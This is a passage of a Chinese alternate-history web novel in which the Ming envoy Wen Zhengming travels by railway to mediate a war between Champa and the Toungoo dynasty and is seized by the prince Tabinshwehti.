不过即便如此,云瑾在家还是梳了个人妇的发髻,云瑾一直以来的夙愿,就是嫁给周楚,甚至从一开始,云瑾所做的一切,都是为了跟紧周楚的步伐,所以周夫人这个身份,比之其他身份更让云瑾觉得重要。 正所谓公私分明,在家的时候是妇人发髻,领兵打仗的时候,又是另一种了。 唐伯虎和芸娘作为周楚大婚时候的主婚人,也是作为周楚的家长,此时正住在周府,等着云瑾和林瑶去敬茶,这是大婚之后一天的规矩。 周楚带着两人,来到了后院大厅之中,此时的唐伯虎夫妇早已经在大厅坐着了,眼看着三人到来,唐伯虎再也没了之前吊儿郎当的模样,一本正经的坐正身子。 云瑾和林瑶则轮流给两人敬茶,唐伯虎和芸娘也分别给了两人红包。 “衡器啊,为师等这一天不知道等了多久了,之前为师也只能干着急,不敢催你,现在看你们修成正果,为师别提多高兴了。” 唐伯虎满脸笑容道。 “是啊,之前你老师经常和我说起,说衡器什么时候才能成婚,年龄可不小了。” 一旁的芸娘捂嘴笑道。 “学生惭愧,有劳老师记挂了。” 周楚行礼道。 “你们可要抓紧生两个大胖小子,姑娘也行,生孩子要趁早。” 芸娘拉着云瑾和林瑶的手,说道。 这话让云瑾两人瞬间红了脸。 ....... 周楚的大婚声势浩大,即便过去了很多天,整个京城的百姓仍然津津乐道,一说起周府大婚的时候,总有说不完的话题,比如自己看到了某某大人物,然后身边立刻就有人出来反驳,说你那算什么大人物?你知道我看到谁了吗? 这种话题持续了很久,甚至民间新出的关于周楚的话本,都有关于周楚大婚的桥段。 如此又过了一个月,真武殿眼看着已经完成了大半的时候,安南南边的一个小国,占城派了使臣来到了京城。 “大皇帝陛下,那东吁王朝疯了,集结了兵马正在攻打我占城,还望大皇帝陛下为我占城主持公道。” 朝堂之上,占城的使臣态度极其恭敬道。 这次占城的使臣前来,可谓是诚意满满,一箱箱的翡翠珠宝,像不要钱一般送到了京城。 很显然,占城已经到了十分危急的地步了,否则占城使者不会如此着急。 “东吁王朝?” 身处朝堂上的周楚听到这个名字,仔细想了想,终于想起了一些关于东南亚的历史,按照原本的历史,东吁王朝不是应该在三年后莽瑞体继承王位之后才开始扩张吗? 不过对于这一点,周楚倒也没什么怀疑,毕竟自己了解的历史和真实的历史是有所出入的,现在距离莽瑞体继位也只有三年不到了,莽瑞体提前掌权,开始扩张,倒也说得过去。 不得不说,这个时代的人就是猛,草原上有俺答汗,十三四岁就带着人攻打大明,东南亚有莽瑞体,十二三岁就野心勃勃。 一旁的夏言听到这话,则是暗骂了一声蠢货,心想这东吁王朝怎么这么沉不住气,这要是引起了大明的注意,恐怕会被顷刻弹压。 别人不清楚大明如今的军事实力,夏言是知道一些的,不说别的,单单是林鹿和陆云瑾这两尊杀神,随便去一个,灭东吁王朝好几轮都够了。 不过以夏言对汪明月这个女人的了解,他很清楚这个女人之所以这么做,多半是为了试探大明,自己没给他们回应,他们又不了解大明的军事实力,这次最多算是试探,大明也不会因为这件事就把东吁王朝灭了,最多是居中调和,毕竟如今的东吁王朝是臣服于大明的。 “诸位,对于这个东吁王朝,谁知道的多一些?” 嘉靖看着满朝文武,说道。 “陛下,东吁王朝,臣倒是了解一些,这东吁王朝的大王如今四五十,却是重病在身,已经不怎么过问国事了,臣听闻,如今东吁王朝主事的是他们的王子莽瑞体,此人倒是野心勃勃,估计攻打占城之事,是这莽瑞体的主意。” 工部尚书赵璜出列道。 作为工部尚书,六部之中和东南亚接触最多的就是工部,虽说平日里和东南亚的人对接的都是赵璜的属下,但赵璜作为工部尚书,自然不是吃素的,一直都让这些属下留意东南亚诸国的动向和最新信息,为的就是陛下有朝一日问起来,自己有话说。 赵璜可以准备千日而无用,但不能等皇帝问起来,自己一问三不知。 嘉靖听到这话,点了点头。 “西峰果然是实心用事。” 西峰是赵璜的号。 赵璜听到这话,心中很是高兴,心想自己准备了这么久,终于靠着这些信息露了一次脸。 “对于东吁王朝和占城的事,诸位爱卿有何看法?” 嘉靖话锋一转,看着下面的一众朝臣,问道。 “陛下,臣以为,东吁王朝和占城都是我大明的藩属国,手心手背都是肉,我大明派出使臣居中调停即可。” 杨一清作为内阁首辅,自然要发表自己的看法,现在的杨一清和之前可不一样了,在朝堂上那叫一个活跃,嘉靖每次问朝臣的意见,杨一清恨不得都说一下自己的看法,而且大多数给出的意见都是很中肯的。 “首辅大人说的有道理,不过臣倒是觉得应该文武并行,派出使臣居中调停是必不可少的,但倘若东吁王朝狼子野心,不服管教,我大明倒也要让他们见识一下什么是大明天威,臣以为应该派出军队跟随使臣一同前往占城。” 兵部尚书王宪出列道。 现在的王宪是唯恐天下不乱,要知道王宪在成为兵部尚书之前,可是出任过辽东巡抚,山西巡抚,更是在应州御敌有功,荫锦衣卫,世袭百户,妥妥的好战分子,此时听到这话,整个人都兴奋了起来,恨不得亲自率兵前往东南亚,平了东吁王朝。 “王大人此言不妥,我大明天威,当不战而屈人之兵,这东吁王朝作为大明的藩属国,理当听从大明的命令,东吁王朝不过是蕞尔小国罢了,倘若我大明谈都不谈,直接出兵,岂能显示出大国的威仪?” 夏言出列反驳道。 东吁王朝在夏言眼里,是他的后手,有了东吁王朝在,他就可以谋划很多事,所以夏言自然不希望东吁王朝被灭。 不过夏言这话说的倒也是有理有据,如今的东吁王朝和大明比起来,根本不在一个体量,大明作为宗主国,更多的是充当家长的角色,居中调停,动不动就派兵,却是也说不过去,倘若东吁王朝不服管教,再派兵也说得过去。 “夏阁老此言有理,我大明作为天朝上国,自然应该体现大国的气度,臣以为应当先派出使臣调停,倘若东吁王朝冥顽不灵,再派兵不迟。” 韩玠出列道。 嘉靖听到这话,点了点头,随后看向了王宪。 “维纲,朕知道你有好战之心,不过东吁王朝区区蕞尔小国,何须大动干戈?谁愿意去占城走一趟?” 嘉靖看着文武百官,说道。 “陛下,臣愿往!” 孙娇娇的爹孙弘直接出列道。 这次是为大明建功立业的好机会,虽说居中调停不算什么大功劳,却也比待在京城好得多。 不只是孙弘,很多人都意识到了这个问题,纷纷出列请求出使占城。 “陛下,臣愿往!” “陛下,臣愿往!” .... 孙弘如今是吏部侍郎,正三品的大员,都主动请求出使了,其他人哪里还矜的住。 嘉靖看了看孙弘。 “文成,朕知道你的心意,不过吏部离不开你这个侍郎,出使的事让其他人去吧。” 嘉靖笑道。 六部的运转,最离不开的就是侍郎和尚书,侍郎和尚书各司其职,很多文件需要他们批复,之前朝中的冗员被严嵩裁撤了许多,如今六部虽然也有一些冗员,但已经不多了,倘若吏部没了孙弘这个侍郎,很多文件都会没人批复,会出问题的。 “陛下,臣愿往,臣愿前往占城,宣扬大明国威。” 文徵明此时出列道。 嘉靖听到这话,眼睛顿时一亮,文徵明作为国子监祭酒,平日里没少念叨他,虽说嘉靖知道文徵明是为了自己好,但内心也忍不住觉得烦躁。 更何况文徵明身为国子监祭酒,对于大明的礼仪规矩懂的自然是极多的,让他前往占城,再合适不过。 主要是嘉靖想清静一段时间。 “衡山作为国子监祭酒,最为熟悉我大明的规矩和礼仪,此去占城,除了居中调和之外,可以顺带宣扬一番我大明的礼仪和规矩,开化一下他们。” 嘉靖看着文徵明,说道。 “着文徵明身为大明使臣,前往占城,调和占城和东吁王朝的战事。” 嘉靖正色道。 “臣领旨。” 文徵明躬身行礼道。 对于嘉靖任命文徵明,百官并不意外,实际上在文徵明站出来的时候,很多人都明白,这个使臣非文徵明莫属了。 一方面是皇帝被文徵明念叨的烦了,另外一方面,文徵明是什么身份?周楚的老师,光是凭着这层身份,就没人抢得过文徵明。 “退朝吧。” 所有事情商议完之后,嘉靖说道。 退朝之后,周楚来到了文徵明面前。 “老师,此去占城,山高路远,老师的身子....” 周楚欲言又止道。 文徵明如今五十多了,周楚担心这等长途跋涉,文徵明会受不了。 “放心吧,我可不是唐伯虎,我的身子骨好着呢。” 文徵明满不在乎道。 这话周楚是相信的,根据周楚的记忆,文徵明能活到九十岁左右,如今在五十多,身子骨确实极其硬朗。 “你小子休想阻止老夫为大明建功立业。” 文徵明笑道。 周楚听到这话,也笑了,如今的大明朝廷,文武百官一个个都像是打了鸡血一般,都想着如何挤进真武殿。 “这东吁王朝攻打占城,多半也是试探,试探大明的态度,老师此去,态度一定要强硬,那莽瑞体还没有继承王位,不会大动干戈,只要老师态度够强硬,东吁王朝必然会退兵。” 周楚为文徵明出谋划策道。 “这是自然,老夫作为国子监祭酒,岂能丢了大明国威!” 文徵明捋了捋胡须道。 说完这话,文徵明看向了周楚。 “衡器,唐伯虎那老小子在你府上吧?” 周楚听到这话,点了点头。 “自从学生大婚之后,就让老师他们一家住在我府上了。” “咱们爷仨多久没在一起喝酒了,你大婚的时候没和你们一桌,趁着我还没出使,好好喝一场。” 文徵明意气风发道。 “好,今日学生就陪老师,不醉不归。” 周楚笑道。 另外一边,夏言回到家中,开始给汪明月写信,这封信的大致意思就是,一旦大明使臣抵达占城,居中调停的话,东吁王朝即刻退兵,现在的东吁王朝在大明面前完全不是对手,他们还需要先往其他方向扩张。 这是夏言第一次给汪明月回信,写完这封信,夏言突然意识到,东吁王朝之所以攻打占城,恐怕也有汪明月逼迫自己给她回信的意思在里面。 毕竟自己想要借助东吁王朝这股势力,就不会眼看着它被大明灭了。 想明白这些,夏言不禁暗骂汪明月真是个疯女人。 周府之中,周楚和唐伯虎文徵明三人正在一起喝酒。 唐伯虎听到文徵明这个老友要出使占城的时候,有些担忧。 “这东吁王朝那个什么王子,你们都说了野心勃勃,徵明此去会不会有危险?” 周楚听到这话摇了摇头。 “他是有野心,但他可不蠢,东吁王朝无论如何都不敢和大明碰的,更何况如今东吁王朝的大王还活着,虽然身体不好,但还是能做主的,那个大王,虽说不上胆小怕事,却也绝不会允许东吁王朝忤逆大明的,莽瑞体这次多半是在试探大明的态度罢了。” “没错,我背靠大明,如今的大明堪比盛唐,甚至眼看着就要超越盛唐了,给东吁王朝十个胆子,他们也不敢忤逆大明。” 文徵明说着端起酒杯。 “来,今日不醉不归!” 第373章 文徵明的气度,背靠大明的底气 第373章 文徵明的气度,背靠大明的底气 如今的大明早已今非昔比,大半年前,当第一批的三条铁路顺利运行之后,除了开始着手动工修草原上的铁路之外,第二批铁路的规划和修建也已经在悄然进行了。 第二批铁路要比第一批多不少,一共近十条,其中一条最长的铁路,就是从京城直通安南的,近五千里的距离。 因为是分段式修建,所以修建铁路的速度和长度并没有关系,再加上有了第一批铁路的修建经验,加上朝廷不断地拨款砸钱下去,半年左右的时间,通往安南的铁路就彻底可以通行了。 如果说之前使团从京城前往的东南亚,最起码要一个多月,甚至近两个月的话,那么现在有了火车,只需五六天左右。 理论上火车坐人的速度在每个时辰八十里左右,但这也只是理论上,通往安南的铁路经历的地形要比通往江南的复杂得多,为了尽早修通这条铁路,朝廷在这条铁路上拨的款要比其他铁路多很多。 几乎是每四十里分一段,沿途的无数百姓都加入到了修铁路的队伍之中,这才保证了半年时间铁路就修通了。 不怪百姓们热情这么高涨,首先是朝廷给的工钱确实很可观,而且没人敢克扣工钱。 其次之前三条铁路的修建早已传遍了大明,那三条铁路沿途的百姓都慢慢变得富裕了起来,特别是很多商人,宁愿自掏腰包,都要帮助朝廷修建铁路。 因为这些商人很清楚,铁路早一日修通,他们就可以通过火车运送货物,如此一来,无论是运送速度,还是运送成本,都会大幅度降低,这对他们百利而无一害。 那些海商得知这是一条修往安南的铁路的时候,在户部官员的撮合之下,纷纷掏了不少钱,大明如今最大的出海口不是别处,正是安南。 一旦这条铁路修通了,他们运往海上的货物,运输成本将会降到一个极低的数字。 虽说即便他们不掏钱,朝廷也会把这条铁路修好,但朝廷完全可以自己用,不让他们用,这一点还不是掌握在户部手中。 单单靠着这一点,张璁等一众户部官员又为朝廷节省了一大笔开支。 有了这些海商和沿途商人的出资,再加上朝廷的拨款,这才让这条铁路修建的飞快,只要钱到位,大明从来都不缺人,修建的速度甚至还可以更快一些。 文徵明率领大明使团,以及占城的使团,乘坐火车,用了五六天的时间抵达了曾经黎朝的国都,京城到安南的铁轨不只是修到这里,而是直接修到了湄公河的出海口。 不过这里距离占城已经很近了,文徵明率领使团在这里下车,安南的国公黎椿见到文徵明等人到来,更是隆重欢迎,恨不得为他们举办一场接风宴。 “安南公不必麻烦了,我等需要尽快赶到占城,阻止东吁王朝和占城的战事,多谢安南公的美意。” 面对黎椿的热情,文徵明很是淡定,他很清楚自己代表的是大明,不能失了气度。 说完这话,文徵明看向了一旁的安南布政使。 “还望大人为我等准备车马。” “文大人哪里的话,陛下早就来了旨意,本官早就让人备好了车马,就等文大人了。” 安南布政使急忙说道。 如果朝廷派的使臣是其他人,安南布政使倒也不用这么谦卑,再怎么说他也是安南布政使,下属十五个府,完全是一方封疆大吏了。 但使臣偏偏是文徵明,文徵明是国子监祭酒就不说了,他还有一个身份,那可是锦衣卫指挥使,定国公,左柱国,光禄大夫周楚的老师。 周楚是谁?恐怕如今的大明官场,无人不知,无人不晓,文徵明作为周楚的老师,自然不是他一个安南布政使可以招惹的。 如果是以前,没有修铁路的时候,他还可以仗着天高皇帝远,在安南当个土皇帝,但现在不同了,铁路修通了,从京城抵达安南不过五六日的时间,这里有什么消息,很快就能传到京城,这让他彻底绝了乱来的心思。 “有劳大人了。” 文徵明笑道。 很快,布政使就让人把一辆很是豪华的马车以及一群好马送了过来。 这马车极其豪华,用四匹马拉,文徵明从未坐过如此豪华的马车,不过此时文徵明并未拒绝。 因为此时的文徵明不只是文徵明,还是大明的使臣,一言一行,甚至出行的阵仗,都代表着大明。 “有劳大人了。” 文徵明说着,登上了马车,向布政使行礼道。 “这马车本官为大人特意装了软榻,大人一路坐火车,舟车劳顿,想来很是疲惫,可以在马车上好好休息一番。” 布政使是一个会来事的人,说道。 “大人费心了。” 文徵明点了点头,向安南布政使和黎椿告别之后,让队伍直奔占城而去。 在火车上五六天,即便是火车上也能睡觉,但那睡觉的床铺极其狭窄,再加上火车的动静,很难睡的踏实,文徵明确实很是疲惫,上了马车之后,就躺在软榻之上开始闭目养神。 从安南国都出发到占城,大明使团用了两日左右的时间,当他们抵达占城的时候,因为有占城使者开路,他们一路畅通无阻。 文徵明抵达占城国都得时候,占城的大王波劫率领百官恭敬迎接。 东南亚这些国家如果说哪个国家对大明最忠心耿耿的话,那无疑是占城,因为占城弱小,无论是之前面对黎朝,亦或是现在面对东吁王朝,他们都没有多少反抗的能力,如果不是大明一直扶持他们,占城恐怕早就被灭国了。 因此占城对大明,是无比的忠心,每次进贡的东西,从不会掺水分。 “小王拜见天朝上使。” 波劫来到文徵明面前,恭敬行礼道。 “大王不必多礼,既然你们向我大明求助了,我大明皇帝自然不会置之不理,区区东吁王朝罢了,倘若退兵还好,倘若不识好歹,我大明天兵顷刻便至。” 文徵明没有一句废话,也没有那些外交辞令,几句话言简意赅,让波劫以及他身后的文武百官瞬间感到无比安心。 这就是来自大明的底气。 占城本就不大,如今的东吁王朝,已经打到了占城西城门,文徵明等人则是从北城门进入的。 这些天波劫集合了占城所有的将士,才勉强抵挡住了东吁王朝的进攻。 “小王为上使备了酒宴,为上使接风洗尘。” 波劫恭敬道。 “酒宴不急,本使先去城墙上表明身份,为尔等调停。” 文徵明摆了摆手道。 波劫听到这话,顿时大喜过望,他没想到大明派出的使臣居然是这么一个实干家,说干就干,绝不耽搁,原本他们还怕大明的使臣跟他们打官腔,要好处呢,现在看来完全是多虑了。 “那就有劳上使了,小王随您一同前往。” 波劫说着在前面带路,很快,文徵明和波劫就来到了西城门的城墙之上。 此时东吁王朝并没有进攻,双方都在休整。 “将我大明的战旗挂起来。” 文徵明看着自己手下的人说道。 “是,大人。” 使团的其他人听到这话,纷纷拿出那面早已准备好的大明战旗,挂在了占城城墙的最高处。 文徵明此举,为的就是表明身份,在这城墙上大喊大叫是没用的,对方不可能听到,唯有大明的战旗,才是最好用的。 东吁王朝的营帐之内,一些士兵看到了占城城墙上飘扬着的大明战旗,心中一惊,作为士兵,必要的军事素养他们还是有的,别的不说,大明的战旗是他们必须要认识的。 看到战旗的士兵急忙跑到统帅的营帐之内。 “什么事?这么着急?” 东吁王朝治军并不严,军纪很是松散,整个东南亚都是如此,因此战斗力极其有限。 即便是士兵闯入了帅帐之中,东吁王朝的统帅也只是皱了皱眉头,并没有责罚。 “大帅,占城城墙上挂上了大明的战旗。” 士兵急忙说道。 东吁王朝的统帅听到这话,目光一凝,顿时意识到了事情的严重性。 “派人去他们城门口问一问,可是大明上使来了?” 统帅听到这话,意识到大明的使臣可能已经到了占城,对于这一点,他并不意外,实际上这么多年了,占城不论被谁攻打,第一时间都会向大明求助,因此无论是之前的黎朝,还是现在的东吁王朝,都不敢真的迅速攻破占城的城墙。 再怎么说占城也是大明最忠诚的小弟,倘若真的把占城灭国了,那么他们要面对的恐怕就是大明的军队了。 他们这次攻打占城,按照王子的说法,就是要先试探一下大明的态度,并不是真的要把占城打下来。 很快,东吁王朝军中的一个千总骑马来到了占城城墙之下,他的手里拿着东吁王朝的战旗,不断挥动着战旗。 “打开城门侧门,放他进来。” 城墙上,文徵明看着下方东吁王朝的人,说道。 “赶紧打开城门侧门。” 波劫听到这话,不敢怠慢,急忙下令道。 眼看着占城城门的侧门打开了,东吁王朝的这个千总顿时有些犹豫,在考虑要不要进去,不过很快他就想通了,即便大明的使臣没来,占城也不敢把他怎么样,毕竟他的身后可是东吁王朝的大军。 想明白这些,此人便骑马进入了占城之内,很快被人带到了文徵明面前。 “此乃大明天朝的上使,还不速速行礼?” 波劫在一旁狐假虎威道。 这人听到这话,即便是早有预料,还是心中一惊,看着文徵明的样貌和官服,都和占城之人相去甚远,急忙躬身行礼。 “见过上使。” 文徵明看着此人,点了点头。 “本使文壁,封皇命来此,我大明皇帝得知东吁王朝无故兴兵,攻打占城,特意让本使前来问上一问,你们东吁王朝到底是何居心?” 文徵明语气严肃道。 东吁王朝的千总听到这话,顿感心中一紧,如山一般的压力顿时扑面而来,这压力是大明带给他的,也是眼前的文徵明带给他的。 “上使的话,小的确实不知,小的只是一个千户罢了。” 东吁王朝的千总此时无论是额头上,还是后背上,都开始冒出细密的汗珠。 “那就找你们能主事的来,本使听闻,如今你们东吁王朝是你们的王子说了算?莽瑞体对吧?就让他来见本使,好好解释解释。” 文徵明说道。 “上使的话,小的一定如实回报。” 此人强忍住有些颤抖的腿,说道。 文徵明听到这话,没再说什么,只是摆了摆手,示意此人退下。 此人顿时如蒙大赦,急忙下了城墙,下了城墙之后,愣是翻了两三次才上了马,显然是被文徵明吓坏了。 “上使的天威让那家伙吓坏了。” 一旁的波劫忍不住拍马屁道。 “不是本使的天威,而是我大明的天威,倘若本使身后不是大明,别说他一个千户了,就算是普通的士兵,也不会把本使放在眼里。” 文徵明纠正道。 “上使说的是,说的是。” 波劫附和道。 得知大明使团真的到了占城,东吁王朝的统帅再也不敢进攻,急忙让人去给莽瑞体和汪明月送信。 信使的速度很快,恨不得把马腿跑断,很快,东吁王朝的王子莽瑞体就拿到了这封密信。 看到信上的内容,莽瑞体瞬间来了精神,他想过大明的使臣会来,但没想到会来的这么快,这让莽瑞体瞬间感受到了大明扑面而来的压力。 倘若大明的军队能像大明的使臣一般,用这么短的时间就能大兵压境的话,灭他们东吁王朝,不过是弹指一挥间。 莽瑞体虽然充满了野心,也不会盲目的自大,他能很清楚的认识到东吁王朝和大明之间的差距。 “殿下,何事如此惊慌?” 一旁的汪明月看到莽瑞体这副表情,忍不住问道。 莽瑞体听到这话,把密信递给了汪明月,汪明月刚开始看到大明使臣居然这么快到的时候,想法和莽瑞体如出一辙,顿感大明的压力如山一般袭来。 但当他看到大明使臣自称文壁的时候,眼睛顿时亮了。 “让他们问清楚,这个文壁是否是大明国子监祭酒文徵明。” 第374章 文徵明的算计,胡宗宪和赵贞吉 第374章 文徵明的算计,胡宗宪和赵贞吉 很快,文徵明的信息就出现在了莽瑞体和汪明月面前。 “明月,这个文徵明可有什么特殊之处?” 莽瑞体看着汪明月有些兴奋的神情,忍不住问道。 “殿下还记得妾身和你说过的周衡器吗?” 汪明月没有直接回答莽瑞体的问题,而是反问道。 “记得,前两日大明的那个内阁之中的夏言,不是还来信了吗,让我们一定不要对大明使臣动手,一旦大明使臣到来,停止对占城用兵。” 莽瑞体说道。 给夏言送信的人,坐的也是火车,不过直接坐到了离东吁王朝很近的地方才下车,下车之后,早已有人给他备好了快马,此人马不停蹄直奔东吁王朝都城而去,倒是比文徵明抵达占城所用的时间早了一两日。 汪明月听到这话,点了点头。 “周衡器,如今身为大明的锦衣卫指挥使,定国公,可谓是权倾朝野,而且周衡器用兵如神如鬼,那困扰大明百多年的倭寇,周衡器仅用了不到一年就彻底荡平了。” 一提到周楚,汪明月的情绪就很复杂,既佩服,又恨,佩服的是周楚做到了无数人做不到的事,恨的是,周楚从未真正把她放在眼里过。 汪明月做的一切,说是为了其他的,其实归根结底的原动力,不过是为了寻求存在感罢了,一般人她从未放在眼里,直到她知道周楚的存在,她对周楚研究的很深,周楚的一切她都了如指掌,越是研究,她对周楚越是痴迷,她内心极其渴望征服周楚,让周楚正视她。 之前她说的那些理由,所谓的底层百姓不该如何如何,不过是外在理由罢了。 就像如今,汪明月不惜成为东吁王朝的太子妃,为的就是有一天,能让周楚正眼看她。 此时听到出使的人居然是文徵明,汪明月内心极为兴奋,就像当初抓方恒一般,现在汪明月疯狂的想把文徵明这个周楚的老师抓起来,如此一来,才能引起周楚的注意。 莽瑞体听到这话,忍不住倒吸了一口凉气,大明的国力比东吁王朝不知道强了多少倍,如今又有周楚这等善于用兵之人,莽瑞体不知道东吁王朝该如何出头。 “难道我东吁王朝就无出头之日了吗?” 莽瑞体满脸不甘心道。 “不,殿下,臣妾想说的正是这个,这文徵明还有一个身份,他是周楚的书法老师,而且两人关系极好,臣妾和殿下说过,周楚此人,最重感情,倘若我们把文徵明抓起来,那周楚就会投鼠忌器。” 汪明月眼神深处闪烁着疯狂且兴奋的神情,说道。 莽瑞体听到这话,顿感头皮一麻,不过转头一想,似乎汪明月说的倒也不是不可行,只要自己抓住了文徵明,又不是对大明用兵,只是向周边扩张,到时候大明会投鼠忌器,睁一只眼闭一只眼。 莽瑞体越想越觉得此事可行。 “父王恐怕不会同意。” 莽瑞体忽然想到自己的父王向来胆小怕事,倘若此事被他知道,他是万万不会同意的。 “殿下,正所谓机不可失失不再来,说句不好听的,大王胆小怕事,只会误了大事,而且身子一天不如一天,殿下不如趁早....” 汪明月的话没说完,不过话里话外的意思已经十分明确了,让莽瑞体尽快把他爹弄死,直接登上王位,到了那个时候,才是真正的大权在握。 “此事容后再议,我们先去见那文徵明吧,先把文徵明骗到军营之中,就可以兵不血刃的把他抓起来了。” 莽瑞体暂时回避了这个问题,说道。 汪明月也知道,让莽瑞体现在就下决心杀死他爹有些困难,倒也没有坚持,点了点头。 “都听殿下的。” 东吁王朝不大,莽瑞体从都城抵达前线,快马加鞭也只用了半日不到的时间。 此时文徵明正在被波劫热情款待,文徵明的使团之中,还有两人,不是别人,正是胡宗宪和赵贞吉,这两人是周楚安插在使团之中,为了以防万一的。 周楚虽然嘴上说东吁王朝不敢之类的,但莽瑞体毕竟野心勃勃,万一此人丧心病狂,有胡宗宪和赵贞吉在,也能兜个底。 “上使,那莽瑞体已经抵达城外,他派人前来,说请上使去他们军营之中一叙。” 波劫听到属下的汇报,来到文徵明面前躬身道。 “上使的安危大于天,小王的意思是让莽瑞体进城来谈,一旦到了他们军营之中,上使恐怕会有危险。” 波劫满脸担忧道。 “无妨,那莽瑞体若是不识好歹,对本使动手,我大明正好有了对东吁王朝出兵的理由,本使倒是很希望他能如此。” 文徵明笑道。 波劫听到这话,不由得想起了之前欧阳必进出使黎朝的事,关于欧阳必进的死因,他多少是有所耳闻的,此时听到这话,顿感冷汗淋漓,心想这大明的使臣,果然没有一个善茬。 此时的波劫已经在考虑,是否要彻底归顺大明了,旁边的安南百姓如今在大明的帮助下,通了火车,安南更是有大明的科举名额,这让占城的百姓极为羡慕,更何况如今的占城朝不保夕,倘若东吁王朝被大明灭了,他们周围就都是大明的领土了。 到了那个时候,大明恐怕会对他们起心思。 一想到这里,波劫不由心中一紧,心中已经打定主意,东吁王朝覆灭之日,就是他占城彻底归顺大明之时,到那个时候,他还能混个大明的国公当一当。 “胡汝贞,赵孟静,你们二人随本官走一趟。” 对于胡宗宪和赵贞吉的能力,文徵明是清楚的,文徵明带着这两人,一旦有什么突发情况,还可以应付。 文徵明很清楚,那莽瑞体即便是有其他想法,也万万不敢杀了自己,最多抓起来,杀了自己的后果不是他,也不是东吁王朝能承担的起的。 只要不被杀,带着胡宗宪和赵贞吉,再加上东吁王朝的大王胆小怕事,文徵明就自信有辗转的方法。 当然,这些想法也只是以备不时之需,文徵明不会去赌莽瑞体真的不会动手,作为大明的使臣,他应该把所有的可能都算计好。 文徵明早就不年轻了,从不会把希望放在他人身上,他不会寄希望于莽瑞体不敢动手。 “是,大人。” 胡宗宪两人急忙行礼道。 三人骑着马出了城,波劫有些不放心,在城墙上不断地观望着。 “谁是莽瑞体?出来见本使!” 文徵明来到东吁王朝的军营之前,高声道。 莽瑞体没想到文徵明真的敢来,听到这话,顿时精神一振,翻身上马出了兵营,来到文徵明面前的时候下马行礼。 “在下莽瑞体,见过天朝上使。” 文徵明看着如此年轻的莽瑞体,心中感慨,若是让此人成事,东吁王朝恐怕要兴盛数十年,不如趁着这个机会将东吁王朝彻底按死,顺便为大明开疆拓土。 “无知小儿,为何贸然兴无名之师,对占城用兵?” 文徵明此话可谓是极其不客气了,为的就是挑起莽瑞体的火气,让他将自己抓起来,见到莽瑞体的时候,文徵明的想法就变了,原本想着的只是调停,现在觉得不如趁机为大明找一个出兵的理由。 索性莽瑞体也不敢杀了自己,即便是抓了自己,只要自己能想办法逃脱,大明就再无顾忌,可以出兵征伐了。 “上使说的是,在下年少无知,还望上使借一步说话,在下好向上使赔罪。” 莽瑞体说着做了一个请的手势,示意文徵明进东吁王朝的兵营。 文徵明也不矫情,直接骑着马,带着胡宗宪两人进了兵营之中。 莽瑞体看到文徵明居然如此大胆,心想这还能让你跑了? 文徵明三人刚进兵营之中,就被东吁王朝的士兵团团围住。 “莽瑞体,你这是何意?” 文徵明坐在马上,居高临下地看着莽瑞体,并没有因为被围而显得惊慌失措,心中反而愈发高兴,此时即便被围,说话的语气仍然充满了威仪。 这让莽瑞体非常不爽。 “文徵明,都到了眼下的光景了,你还看不清形势吗?” 莽瑞体眯着眼睛,看着文徵明道。 “你可想清楚了?” 文徵明倒也没说什么威胁的话,此时文徵明生怕莽瑞体反悔,自然不敢惊吓他。 “本宫既然敢这么做,自然是想清楚了,将他们三人拿下!” 莽瑞体下令道。 “不必,我等不会反抗。” 文徵明挥了挥手道。 大明使臣可以被抓,但不能过于狼狈。 文徵明说完这话,便翻身下马,同时给一旁的胡宗宪两人使了个眼色,胡宗宪两人也跟着翻身下马,扔下了佩剑。 “不愧是文大人,就是识时务,如此本宫也少一些麻烦,尔等也可以多一些体面。” 莽瑞体笑道。 倘若以文徵明原本耿直刚毅的性子,此时贸然被抓,恐怕会拔剑自刎,毕竟以他的性格,肯定觉得大明使臣宁死不可辱。 周楚就是为了防止这种情况的出现,文徵明临出发之前,就特意交代了他。 “倘若那莽瑞体不识时务,想要把老师抓起来,老师也不必反抗,他们只要抓了老师,大明就有了对东吁王朝用兵的借口,有胡汝贞和赵孟静在,可保老师无虞。” 实际上周楚早就帮文徵明规划了所有的可能,虽然周楚觉得莽瑞体会动手的几率极小,但也不得不防。 两国相交,自然要把所有的可能都考虑到。 很快,文徵明三人就被带到了东吁王朝的都城,至于东吁王朝的士兵,仍然在占城都城之外,和占城对峙着,要不要打占城,莽瑞体决定先和自己的父王商议之后再做决定。 “什么?你抓了大明的使臣?” 东吁王朝的大王莽纪岁听到这个消息,噌的一下从病床上坐了起来。 莽纪岁作为东吁王朝的建立者,如今不过三十多岁,却重病在身,不是他胆小怕事,而是他经过常年的征战,更加了解大明的实力。 他很清楚,大明想要碾死他们东吁王朝,几乎不费吹灰之力。 “父王,这文徵明乃是大明的锦衣卫指挥使,定国公周楚的老师,两人感情极好,那周楚是极重感情之人,而且权倾朝野,文徵明在我们手中,大明对我东吁王朝就会投鼠忌器,我东吁王朝就可以顺势扩张。” 莽瑞体将汪明月的话向自己的父王说了一遍。 “胡闹!你懂什么?大明作为天朝上国,岂会受这等威胁,简直可笑,赶紧把大明的使臣放了,然后想办法赔罪!” 莽纪岁厉声喝道。 “明月说的没错,父王老了,胆小怕事。” 莽瑞体看着莽纪岁,满脸的失望,说完这话,莽瑞体便不再说什么,直接离开了。 莽纪岁刚想发火,却听到伺候他的太监一脸惊慌的跑了过来。 “陛下,殿下让人把这里都围住了。” 莽纪岁听到这话,脸色巨变,顿时明白了自己的这个儿子打的是什么主意。 莽纪岁常年卧病在床,他很清楚,自己的这个儿子如今恐怕已经大权在握了。 在尝试了数次之后,莽纪岁颓然回到床上,看着眼前一直伺候自己的这个太监,此时恐怕也就他对自己忠心耿耿了。 一想到自己的儿子居然要把自己软禁起来困死,莽纪岁心中对莽瑞体就充满了恨。 “既然你不把我这个父王放在眼里,那父王就在临死之前,给你留下一个大礼吧。” 莽纪岁冷笑道。 很快,王宫之中传来消息,大王莽纪岁病死在床榻之上,这个消息一出,莽瑞体悲痛万分,来到王宫之中痛哭流涕。 伺候莽纪岁的太监也因此获得了自由,没人再在意他的去向。 太监直接出了王宫,拿着莽纪岁给他的令牌,直奔天牢而去,有莽纪岁的令牌在手,他可谓是畅通无阻。 “带咱家去见大明的使者。” 太监看着牢头,说道。 牢头听到这话,不敢怠慢,急忙在前面带路。 第375章 文徵明回归占城,调兵攻打东吁王朝 第375章 文徵明回归占城,调兵攻打东吁王朝 东吁王朝的天牢之中,文徵明正在纠结自己要不要死在这里,倘若自己死在这里,无论是大明还是周衡器都有了荡平东吁王朝,甚至顺带着荡平周边那些小国的理由了。 